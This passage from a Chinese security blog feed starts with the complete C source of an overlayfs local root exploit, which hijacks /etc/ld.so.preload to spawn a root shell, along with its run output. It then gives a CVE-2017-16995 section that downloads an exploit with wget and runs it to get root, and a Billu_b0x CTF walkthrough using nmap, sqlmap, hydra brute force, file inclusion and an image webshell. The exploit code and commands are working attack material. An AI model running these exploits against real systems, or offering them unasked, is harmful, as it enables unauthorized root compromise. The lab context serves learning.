class="line">*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*</span><br><span class="line">*/</span><br><span class="line"></span><br><span class="line">#include &lt;stdio.h&gt;</span><br><span class="line">#include &lt;stdlib.h&gt;</span><br><span class="line">#include &lt;unistd.h&gt;</span><br><span class="line">#include &lt;sched.h&gt;</span><br><span class="line">#include &lt;sys/stat.h&gt;</span><br><span class="line">#include &lt;sys/types.h&gt;</span><br><span class="line">#include &lt;sys/mount.h&gt;</span><br><span class="line">#include &lt;stdio.h&gt;</span><br><span class="line">#include &lt;stdlib.h&gt;</span><br><span class="line">#include &lt;unistd.h&gt;</span><br><span class="line">#include &lt;sched.h&gt;</span><br><span class="line">#include &lt;sys/stat.h&gt;</span><br><span class="line">#include &lt;sys/types.h&gt;</span><br><span class="line">#include &lt;sys/mount.h&gt;</span><br><span class="line">#include &lt;sys/types.h&gt;</span><br><span class="line">#include &lt;signal.h&gt;</span><br><span class="line">#include &lt;fcntl.h&gt;</span><br><span class="line">#include &lt;string.h&gt;</span><br><span class="line">#include &lt;linux/sched.h&gt;</span><br><span class="line"></span><br><span class="line">#define LIB &quot;#include &lt;unistd.h&gt;\n\nuid_t(*_real_getuid) (void);\nchar path[128];\n\nuid_t\ngetuid(void)\n&#123;\n_real_getuid = (uid_t(*)(void)) dlsym((void *) -1, \&quot;getuid\&quot;);\nreadlink(\&quot;/proc/self/exe\&quot;, (char *) &amp;path, 128);\nif(geteuid() == 0 &amp;&amp; !strcmp(path, \&quot;/bin/su\&quot;)) &#123;\nunlink(\&quot;/etc/ld.so.preload\&quot;);unlink(\&quot;/tmp/ofs-lib.so\&quot;);\nsetresuid(0, 0, 0);\nsetresgid(0, 0, 0);\nexecle(\&quot;/bin/sh\&quot;, \&quot;sh\&quot;, \&quot;-i\&quot;, NULL, NULL);\n&#125;\n    return _real_getuid();\n&#125;\n&quot;</span><br><span class="line"></span><br><span class="line">static char child_stack[1024*1024];</span><br><span class="line"></span><br><span class="line">static int</span><br><span class="line">child_exec(void *stuff)</span><br><span class="line">&#123;</span><br><span class="line">    char *file;</span><br><span class="line">    system(&quot;rm -rf /tmp/ns_sploit&quot;);</span><br><span class="line">    mkdir(&quot;/tmp/ns_sploit&quot;, 0777);</span><br><span class="line">    mkdir(&quot;/tmp/ns_sploit/work&quot;, 0777);</span><br><span class="line">    mkdir(&quot;/tmp/ns_sploit/upper&quot;,0777);</span><br><span class="line">    mkdir(&quot;/tmp/ns_sploit/o&quot;,0777);</span><br><span class="line"></span><br><span class="line">    fprintf(stderr,&quot;mount #1\n&quot;);</span><br><span class="line">    if (mount(&quot;overlay&quot;, &quot;/tmp/ns_sploit/o&quot;, &quot;overlayfs&quot;, MS_MGC_VAL, &quot;lowerdir=/proc/sys/kernel,upperdir=/tmp/ns_sploit/upper&quot;) != 0) &#123;</span><br><span class="line">// workdir= and &quot;overlay&quot; is needed on newer kernels, also can&apos;t use /proc as lower</span><br><span class="line">        if (mount(&quot;overlay&quot;, &quot;/tmp/ns_sploit/o&quot;, &quot;overlay&quot;, MS_MGC_VAL, &quot;lowerdir=/sys/kernel/security/apparmor,upperdir=/tmp/ns_sploit/upper,workdir=/tmp/ns_sploit/work&quot;) != 0) &#123;</span><br><span class="line">            fprintf(stderr, &quot;no FS_USERNS_MOUNT for overlayfs on this kernel\n&quot;);</span><br><span class="line">            exit(-1);</span><br><span class="line">        &#125;</span><br><span class="line">        file = &quot;.access&quot;;</span><br><span class="line">        chmod(&quot;/tmp/ns_sploit/work/work&quot;,0777);</span><br><span class="line">    &#125; else file = &quot;ns_last_pid&quot;;</span><br><span class="line"></span><br><span class="line">    chdir(&quot;/tmp/ns_sploit/o&quot;);</span><br><span class="line">    rename(file,&quot;ld.so.preload&quot;);</span><br><span class="line"></span><br><span class="line">    chdir(&quot;/&quot;);</span><br><span class="line">    umount(&quot;/tmp/ns_sploit/o&quot;);</span><br><span class="line">    fprintf(stderr,&quot;mount #2\n&quot;);</span><br><span class="line">    if (mount(&quot;overlay&quot;, &quot;/tmp/ns_sploit/o&quot;, &quot;overlayfs&quot;, MS_MGC_VAL, &quot;lowerdir=/tmp/ns_sploit/upper,upperdir=/etc&quot;) != 0) &#123;</span><br><span class="line">        if (mount(&quot;overlay&quot;, &quot;/tmp/ns_sploit/o&quot;, &quot;overlay&quot;, MS_MGC_VAL, &quot;lowerdir=/tmp/ns_sploit/upper,upperdir=/etc,workdir=/tmp/ns_sploit/work&quot;) != 0) &#123;</span><br><span class="line">            exit(-1);</span><br><span class="line">        &#125;</span><br><span class="line">        chmod(&quot;/tmp/ns_sploit/work/work&quot;,0777);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    chmod(&quot;/tmp/ns_sploit/o/ld.so.preload&quot;,0777);</span><br><span class="line">    umount(&quot;/tmp/ns_sploit/o&quot;);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">int</span><br><span class="line">main(int argc, char **argv)</span><br><span class="line">&#123;</span><br><span class="line">    int status, fd, lib;</span><br><span class="line">    pid_t wrapper, init;</span><br><span class="line">    int clone_flags = CLONE_NEWNS | SIGCHLD;</span><br><span class="line"></span><br><span class="line">    fprintf(stderr,&quot;spawning threads\n&quot;);</span><br><span class="line"></span><br><span class="line">    if((wrapper = fork()) == 0) &#123;</span><br><span class="line">        if(unshare(CLONE_NEWUSER) != 0)</span><br><span class="line">            fprintf(stderr, &quot;failed to create new user namespace\n&quot;);</span><br><span class="line"></span><br><span class="line">        if((init = fork()) == 0) &#123;</span><br><span class="line">            pid_t pid =</span><br><span class="line">                clone(child_exec, child_stack + (1024*1024), clone_flags, NULL);</span><br><span class="line">            if(pid &lt; 0) &#123;</span><br><span class="line">                fprintf(stderr, &quot;failed to create new mount namespace\n&quot;);</span><br><span class="line">                exit(-1);</span><br><span class="line">            &#125;</span><br><span class="line"></span><br><span class="line">            waitpid(pid, &amp;status, 0);</span><br><span class="line"></span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        waitpid(init, &amp;status, 0);</span><br><span class="line">        return 0;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    usleep(300000);</span><br><span class="line"></span><br><span class="line">    wait(NULL);</span><br><span class="line"></span><br><span class="line">    fprintf(stderr,&quot;child threads done\n&quot;);</span><br><span class="line"></span><br><span class="line">    fd = open(&quot;/etc/ld.so.preload&quot;,O_WRONLY);</span><br><span class="line"></span><br><span class="line">    if(fd == -1) &#123;</span><br><span class="line">        fprintf(stderr,&quot;exploit failed\n&quot;);</span><br><span class="line">        exit(-1);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    fprintf(stderr,&quot;/etc/ld.so.preload created\n&quot;);</span><br><span class="line">    fprintf(stderr,&quot;creating shared library\n&quot;);</span><br><span class="line">    lib = open(&quot;/tmp/ofs-lib.c&quot;,O_CREAT|O_WRONLY,0777);</span><br><span class="line">    write(lib,LIB,strlen(LIB));</span><br><span class="line">    close(lib);</span><br><span class="line">    lib = system(&quot;gcc -fPIC -shared -o /tmp/ofs-lib.so /tmp/ofs-lib.c -ldl -w&quot;);</span><br><span class="line">    if(lib != 0) &#123;</span><br><span class="line">        fprintf(stderr,&quot;couldn&apos;t create dynamic library\n&quot;);</span><br><span class="line">        exit(-1);</span><br><span class="line">    &#125;</span><br><span class="line">    write(fd,&quot;/tmp/ofs-lib.so\n&quot;,16);</span><br><span class="line">    close(fd);</span><br><span class="line">    system(&quot;rm -rf /tmp/ns_sploit /tmp/ofs-lib.c&quot;);</span><br><span class="line">    execl(&quot;/bin/su&quot;,&quot;su&quot;,NULL);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>然后将其保存到本地的一个文件里去。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">ica@indishell:~$ chmod 777 Ubuntu_EXP.c  //赋予文件权限</span><br><span class="line">ica@indishell:~$ gcc Ubuntu_EXP.c -o Ubuntu_EXP  //编译程序</span><br><span class="line">ica@indishell:~$ ls</span><br><span class="line">Ubuntu_EXP  Ubuntu_EXP.c</span><br><span class="line">ica@indishell:~$ ./Ubuntu_EXP  //执行EXP</span><br><span class="line">spawning threads</span><br><span class="line">mount #1</span><br><span class="line">mount #2</span><br><span class="line">child threads done</span><br><span class="line">/etc/ld.so.preload created</span><br><span class="line">creating shared library</span><br><span class="line"># id                          //检测提权是否成功</span><br><span class="line">uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),114(sambashare),1000(ica)</span><br><span class="line">#</span><br></pre></td></tr></table></figure><h1 id="CVE-2017-16995-Ubuntu16-04本地提权漏洞"><a href="#CVE-2017-16995-Ubuntu16-04本地提权漏洞" class="headerlink" title="CVE-2017-16995 Ubuntu16.04本地提权漏洞"></a>CVE-2017-16995 Ubuntu16.04本地提权漏洞</h1><h2 id="漏洞描述"><a href="#漏洞描述" class="headerlink" title="漏洞描述"></a>漏洞描述</h2><p>Ubuntu 16.04版本存在本地提权漏洞，该漏洞存在于Linux内核带有的eBPF bpf(2)系统调用中，当用户提供恶意BPF程序使eBPF验证器模块产生计算错误，导致任意内存读写问题。 </p><p>攻击者（普通用户）可以利用该漏洞进行提权攻击，获取root权限，危害极大。</p><p>目前，主要是Debian和Ubuntu版本受影响，Redhat和CentOS不受影响。</p><p><strong>影响版本：</strong> </p><p>Linux内核：Linux Kernel Version 4.4 ~ 4.14</p><p>Ubuntu版本：16.04.01~ 16.04.04</p><h2 id="漏洞等级"><a href="#漏洞等级" class="headerlink" title="漏洞等级"></a>漏洞等级</h2><p>高危</p><h2 id="漏洞危害"><a href="#漏洞危害" class="headerlink" title="漏洞危害"></a>漏洞危害</h2><p>提升到root权限</p><h2 id="漏洞检测方法"><a href="#漏洞检测方法" class="headerlink" title="漏洞检测方法"></a>漏洞检测方法</h2><p>1.编译POC,运行判断是否存在</p><p>2.漏洞扫描器扫描</p><h2 id="漏洞利用方法"><a href="#漏洞利用方法" class="headerlink" title="漏洞利用方法"></a>漏洞利用方法</h2><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">$ whoami      //查看当前用户</span><br><span class="line">hack</span><br><span class="line">$ wget http://cyseclabs.com/pub/upstream44.c  //下载EXP</span><br><span class="line">$ ls</span><br><span class="line">upstream44.c</span><br><span class="line">$ gcc -o exp upstream44.c   //编译并输出到exp应用程序中</span><br><span class="line">$ chmod 777 exp       //赋予权限</span><br><span class="line">$ ./exp            //执行</span><br><span class="line">task_struct = ffff880015e9f000</span><br><span class="line">uidptr = ffff88001d42b5c4</span><br><span class="line">spawning root shell</span><br><span class="line">root@mozhe:~# ls</span><br><span class="line">exp  upstream44.c</span><br><span class="line">root@mozhe:~# id       //以获取权限</span><br><span class="line">uid=0(root) gid=0(root) groups=0(root),1001(hack)</span><br></pre></td></tr></table></figure><h2 id="漏洞修复方案"><a href="#漏洞修复方案" class="headerlink" title="漏洞修复方案"></a>漏洞修复方案</h2><p>1.及时升级系统</p><p>2.去官网打补丁</p>]]></content>
    
    <summary type="html">
    
      
      
        &lt;link rel=&quot;stylesheet&quot; class=&quot;aplayer-secondary-style-marker&quot; href=&quot;\assets\css\APlayer.min.css&quot;&gt;&lt;script src=&quot;\assets\js\APlayer.min.js&quot; cla
      
    
    </summary>
    
      <category term="主机安全" scheme="https://louisnie.github.io/categories/%E4%B8%BB%E6%9C%BA%E5%AE%89%E5%85%A8/"/>
    
    
      <category term="漏洞复现" scheme="https://louisnie.github.io/tags/%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/"/>
    
  </entry>
  
  <entry>
    <title>CTF综合靶机（Billu_b0x）渗透测试</title>
    <link href="https://louisnie.github.io/2019/03/03/CTF%E9%9D%B6%E6%9C%BA/"/>
    <id>https://louisnie.github.io/2019/03/03/CTF靶机/</id>
    <published>2019-03-03T14:28:28.000Z</published>
    <updated>2019-03-13T09:23:12.092Z</updated>
    
    <content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="\assets\css\APlayer.min.css"><script src="\assets\js\APlayer.min.js" class="aplayer-secondary-script-marker"></script><blockquote class="blockquote-center">很多东西放到时间里去看就能看清楚。要么越走越远，要么越走越近。</blockquote><div align="middle"><iframe frameborder="no" border="0" marginwidth="0" marginheight="0" width="330" height="86" src="//music.163.com/outchain/player?type=2&id=5272610&auto=1&height=66"></iframe></div><p>下载地址：</p><p>链接：<a href="https://pan.baidu.com/s/1qaffdiwOFN8sI_qWJp1jlg" target="_blank" rel="noopener">https://pan.baidu.com/s/1qaffdiwOFN8sI_qWJp1jlg</a><br>提取码：kger<br>复制这段内容后打开百度网盘手机App，操作更方便哦</p><p>使用VMware打开虚拟机，设置网络为仅主机模式即可</p><h3 id="发现目标："><a href="#发现目标：" class="headerlink" title="发现目标："></a>发现目标：</h3><p>使用nmap的-sP参数去探测在当前局域网内存活的主机</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br></pre></td><td class="code"><pre><span class="line">root@kali:~# nmap -sP 192.168.149.0/24</span><br><span class="line"></span><br><span class="line">Starting Nmap 7.70 ( https://nmap.org ) at 2019-03-03 16:49 CST</span><br><span class="line"></span><br><span class="line">Nmap scan report for 192.168.149.1</span><br><span class="line"></span><br><span class="line">Host is up (0.00036s latency).</span><br><span class="line"></span><br><span class="line">MAC Address: 00:50:56:C0:00:01 (VMware)   </span><br><span class="line"></span><br><span class="line">Nmap scan report for 192.168.149.132   //靶机地址</span><br><span class="line"></span><br><span class="line">Host is up (0.00019s latency).</span><br><span class="line"></span><br><span class="line">MAC Address: 00:0C:29:E8:DA:C7 (VMware)</span><br><span class="line"></span><br><span class="line">Nmap scan report for 192.168.149.254  //网关地址</span><br><span class="line"></span><br><span class="line">Host is up (0.00091s latency).</span><br><span class="line"></span><br><span class="line">MAC Address: 00:50:56:F5:FB:82 (VMware)</span><br><span class="line"></span><br><span class="line">Nmap scan report for 192.168.149.131   //kali主机地址</span><br><span class="line"></span><br><span class="line">Host is up.</span><br><span class="line"></span><br><span class="line">Nmap done: 256 IP addresses (4 hosts up) scanned in 28.11 seconds</span><br></pre></td></tr></table></figure><p>使用nmap的-sV扫描目标系统开放的服务，-p-表示对目标系统全部端口进行扫描，–script=banner表示使用nmap中的脚本去扫描目标系统的服务版本信息</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">root@kali:~# nmap -sV -p-  --script=banner  192.168.149.132</span><br><span class="line">Starting Nmap 7.70 ( https://nmap.org ) at 2019-03-03 17:20 CST</span><br><span class="line">Nmap scan report for 192.168.149.132</span><br><span class="line">Host is up (0.0012s latency).</span><br><span class="line">Not shown: 65533 closed ports</span><br><span class="line">PORT   STATE SERVICE VERSION</span><br><span class="line">22/tcp open  ssh     OpenSSH 5.9p1 Debian 5ubuntu1.4 (Ubuntu Linux; protocol 2.0)</span><br><span class="line">|_banner: SSH-2.0-OpenSSH_5.9p1 Debian-5ubuntu1.4</span><br><span class="line">80/tcp open  http    Apache httpd 2.2.22 ((Ubuntu))</span><br><span class="line">|_http-server-header: Apache/2.2.22 (Ubuntu)</span><br><span class="line">MAC Address: 00:0C:29:E8:DA:C7 (VMware)</span><br><span class="line">Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel</span><br><span class="line"></span><br><span class="line">Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .</span><br><span class="line">Nmap done: 1 IP address (1 host up) scanned in 38.04 seconds</span><br></pre></td></tr></table></figure><p>发现目标系统只开放了22端口和80端口，那么先从80端口尝试一番</p><h3 id="探测SQL注入漏洞："><a href="#探测SQL注入漏洞：" class="headerlink" title="探测SQL注入漏洞："></a>探测SQL注入漏洞：</h3><p>通过浏览器访问目标系统的80端口，出现下面的页面，需要展示SQL注入技巧，尝试了几个SQL万能密码都没办法成功，那么可以用sqlmap跑一跑，可能能跑出结果</p><p><img src="http://ww1.sinaimg.cn/large/0078beR7ly1g0pqvya0xaj318h0kuhaa.jpg" alt=""></p><p>因为使用burpsuite抓包的值是post类型的数据包，所以我们设置的sqlmap命令为：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">sqlmap.py -u &quot;http://192.168.149.132/&quot; --data=&quot;un=admin&amp;ps=123456&amp;login=let%27s+login&quot; --dbms=&quot;mysql&quot; --level=3 --batch</span><br></pre></td></tr></table></figure><p>但是跑了好久也没有跑出来，只能换一种方法</p><h3 id="目录爆破："><a href="#目录爆破：" class="headerlink" title="目录爆破："></a>目录爆破：</h3><p>试试目录爆破获取可以获取到有用的信息</p><p>我平时在Windows下使用的是御剑，kali 中用得是dirb和dirbuster</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br></pre></td><td class="code"><pre><span class="line">root@kali:~# dirb http://192.168.149.132</span><br><span class="line"></span><br><span class="line">-----------------</span><br><span class="line">DIRB v2.22    </span><br><span class="line">By The Dark Raver</span><br><span class="line">-----------------</span><br><span class="line"></span><br><span class="line">START_TIME: Sun Mar  3 18:03:34 2019</span><br><span class="line">URL_BASE: http://192.168.149.132/</span><br><span class="line">WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt</span><br><span class="line"></span><br><span class="line">-----------------</span><br><span class="line"></span><br><span class="line">GENERATED WORDS: 4612                                                          </span><br><span class="line"></span><br><span class="line">---- Scanning URL: http://192.168.149.132/ ----</span><br><span class="line">+ http://192.168.149.132/add (CODE:200|SIZE:307)                                                         </span><br><span class="line">+ http://192.168.149.132/c (CODE:200|SIZE:1)                                                             </span><br><span class="line">+ http://192.168.149.132/cgi-bin/ (CODE:403|SIZE:291)                                                    </span><br><span class="line">+ http://192.168.149.132/head (CODE:200|SIZE:2793)                                                       </span><br><span class="line">==&gt; DIRECTORY: http://192.168.149.132/images/                                                            </span><br><span class="line">+ http://192.168.149.132/in (CODE:200|SIZE:47559)                                                        </span><br><span class="line">+ http://192.168.149.132/index (CODE:200|SIZE:3267)                                                      </span><br><span class="line">+ http://192.168.149.132/index.php (CODE:200|SIZE:3267)                                                  </span><br><span class="line">+ http://192.168.149.132/panel (CODE:302|SIZE:2469)                                                      </span><br><span class="line">+ http://192.168.149.132/server-status (CODE:403|SIZE:296)                                               </span><br><span class="line">+ http://192.168.149.132/show (CODE:200|SIZE:1)                                                          </span><br><span class="line">+ http://192.168.149.132/test (CODE:200|SIZE:72)                                                         </span><br><span class="line">                                                                                                         </span><br><span class="line">---- Entering directory: http://192.168.149.132/images/ ----</span><br><span class="line">(!) WARNING: Directory IS LISTABLE. No need to scan it.                        </span><br><span class="line">    (Use mode &apos;-w&apos; if you want to scan it anyway)</span><br><span class="line">                                                                               </span><br><span class="line">-----------------</span><br><span class="line">END_TIME: Sun Mar  3 18:03:38 2019</span><br><span class="line">DOWNLOADED: 4612 - FOUND: 11</span><br></pre></td></tr></table></figure><p>当访问到test文件时，系统提示：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&apos;file&apos; parameter is empty. Please provide file path in &apos;file&apos; parameter</span><br></pre></td></tr></table></figure><h3 id="文件包含："><a href="#文件包含：" class="headerlink" title="文件包含："></a>文件包含：</h3><p>那么可以得出test文件内有一个文件包含函数，那么这里很有可能有个文件包含漏洞</p><p>原先构造URL为：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://192.168.149.132/test?file=/etc/passwd</span><br></pre></td></tr></table></figure><p>发现没有反应，那么可能需要构造post类型数据包</p><p><img src="http://ww1.sinaimg.cn/large/0078beR7ly1g0prz1d94sj30mz0jfjs5.jpg" alt=""></p><p>由passwd我们可以得出当时可以登录的账号为root和ica用户</p><p>我们可以使用hydra进行爆破试试</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">hydra -l root -P /root/dict/1433-pass.txt -T 6 192.168.149.132 ssh</span><br></pre></td></tr></table></figure><p>当然hydra是可以爆破成功的，只要字典强大，爆出root密码为roottoor。这个等会用。</p><p>我们将刚刚爆破出来的文件一一下载看看里面有没有其他有用的内容</p><p>当在查看c.php文件时，发现其存在mysql数据库的账号和密码和数据库名。我们即可以通过数据库连接软件去连接</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line">&lt;?php</span><br><span class="line">#header( &apos;Z-Powered-By:its chutiyapa xD&apos; );</span><br><span class="line">header(&apos;X-Frame-Options: SAMEORIGIN&apos;);</span><br><span class="line">header( &apos;Server:testing only&apos; );</span><br><span class="line">header( &apos;X-Powered-By:testing only&apos; );</span><br><span class="line"></span><br><span class="line">ini_set( &apos;session.cookie_httponly&apos;, 1 );</span><br><span class="line"></span><br><span class="line">$conn = mysqli_connect(&quot;127.0.0.1&quot;,&quot;billu&quot;,&quot;b0x_billu&quot;,&quot;ica_lab&quot;);</span><br><span class="line"></span><br><span class="line">// Check connection</span><br><span class="line">if (mysqli_connect_errno())</span><br><span class="line">  &#123;</span><br><span class="line">  echo &quot;connection failed -&gt;  &quot; . mysqli_connect_error();</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">?&gt;</span><br></pre></td></tr></table></figure><p>获得网站账号biLLu，密码hEx_it，然后成功登陆</p><p>在网站发现可以添加用户，并能上传图片，发现只能上传图片文件的后缀才可以，显然网站设置了白名单。</p><h3 id="获取shell："><a href="#获取shell：" class="headerlink" title="获取shell："></a>获取shell：</h3><p>我们之前查看test文件包含的时候，下载了panel.php文件，这个文件也存在文件包含的功能</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line">if(isset($_POST[&apos;continue&apos;]))</span><br><span class="line">&#123;</span><br><span class="line">$dir=getcwd();</span><br><span class="line">$choice=str_replace(&apos;./&apos;,&apos;&apos;,$_POST[&apos;load&apos;]);</span><br><span class="line"></span><br><span class="line">if($choice===&apos;add&apos;)</span><br><span class="line">&#123;</span><br><span class="line">       include($dir.&apos;/&apos;.$choice.&apos;.php&apos;);</span><br><span class="line">die();</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">        if($choice===&apos;show&apos;)</span><br><span class="line">&#123;</span><br><span class="line">        </span><br><span class="line">include($dir.&apos;/&apos;.$choice.&apos;.php&apos;);</span><br><span class="line">die();</span><br><span class="line">&#125;</span><br><span class="line">else</span><br><span class="line">&#123;</span><br><span class="line">include($dir.&apos;/&apos;.$_POST[&apos;load&apos;]);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>那我们上传一个图片马上去，然后使用panel.php包含这个文件，成功获取到</p><p><img src="http://ww1.sinaimg.cn/large/0078beR7ly1g0pxx2h437j30vp0fidhb.jpg" alt=""></p><p>刚刚在网上找这类靶机的文章，发现一位大佬爆破出phpmy目录，然后通过猜解路径去下载，这个文件默认路径在/var/www/phpmy下面，那么我们还可以通过文件包含下载这个文件，然后获取到root账号和密码</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br></pre></td><td class="code"><pre><span class="line">&lt;?php</span><br><span class="line"></span><br><span class="line">/* Servers configuration */</span><br><span class="line">$i = 0;</span><br><span class="line"></span><br><span class="line">/* Server: localhost [1] */</span><br><span class="line">$i++;</span><br><span class="line">$cfg[&apos;Servers&apos;][$i][&apos;verbose&apos;] = &apos;localhost&apos;;</span><br><span class="line">$cfg[&apos;Servers&apos;][$i][&apos;host&apos;] = &apos;localhost&apos;;</span><br><span class="line">$cfg[&apos;Servers&apos;][$i][&apos;port&apos;] = &apos;&apos;;</span><br><span class="line">$cfg[&apos;Servers&apos;][$i][&apos;socket&apos;] = &apos;&apos;;</span><br><span class="line">$cfg[&apos;Servers&apos;][$i][&apos;connect_type&apos;] = &apos;tcp&apos;;</span><br><span class="line">$cfg[&apos;Servers&apos;][$i][&apos;extension&apos;] = &apos;mysqli&apos;;</span><br><span class="line">$cfg[&apos;Servers&apos;][$i][&apos;auth_type&apos;] = &apos;cookie&apos;;</span><br><span class="line">$cfg[&apos;Servers&apos;][$i][&apos;user&apos;] = &apos;root&apos;;</span><br><span class="line">$cfg[&apos;Servers&apos;][$i][&apos;password&apos;] = &apos;roottoor&apos;;  //root密码</span><br><span class="line">$cfg[&apos;Servers&apos;][$i][&apos;AllowNoPassword&apos;] = true;</span><br><span class="line"></span><br><span class="line">/* End of servers configuration */</span><br><span class="line"></span><br><span class="line">$cfg[&apos;DefaultLang&apos;] = &apos;en-utf-8&apos;;</span><br><span class="line">$cfg[&apos;ServerDefault&apos;] = 1;</span><br><span class="line">$cfg[&apos;UploadDir&apos;] = &apos;&apos;;</span><br><span class="line">$cfg[&apos;SaveDir&apos;] = &apos;&apos;;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">/* rajk - for blobstreaming */</span><br><span class="line">$cfg[&apos;Servers&apos;][$i][&apos;bs_garbage_threshold&apos;] = 50;</span><br><span class="line">$cfg[&apos;Servers&apos;][$i][&apos;bs_repository_threshold&apos;] = &apos;32M&apos;;</span><br><span class="line">$cfg[&apos;Servers&apos;][$i][&apos;bs_temp_blob_timeout&apos;] = 600;</span><br><span class="line">$cfg[&apos;Servers&apos;][$i][&apos;bs_temp_log_threshold&apos;] = &apos;32M&apos;;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">?&gt;</span><br></pre></td></tr></table></figure><h3 id="Ubuntu本地提权："><a href="#Ubuntu本地提权：" class="headerlink" title="Ubuntu本地提权："></a>Ubuntu本地提权：</h3><p>那么使用xshell去远程连接目标服务器，</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span 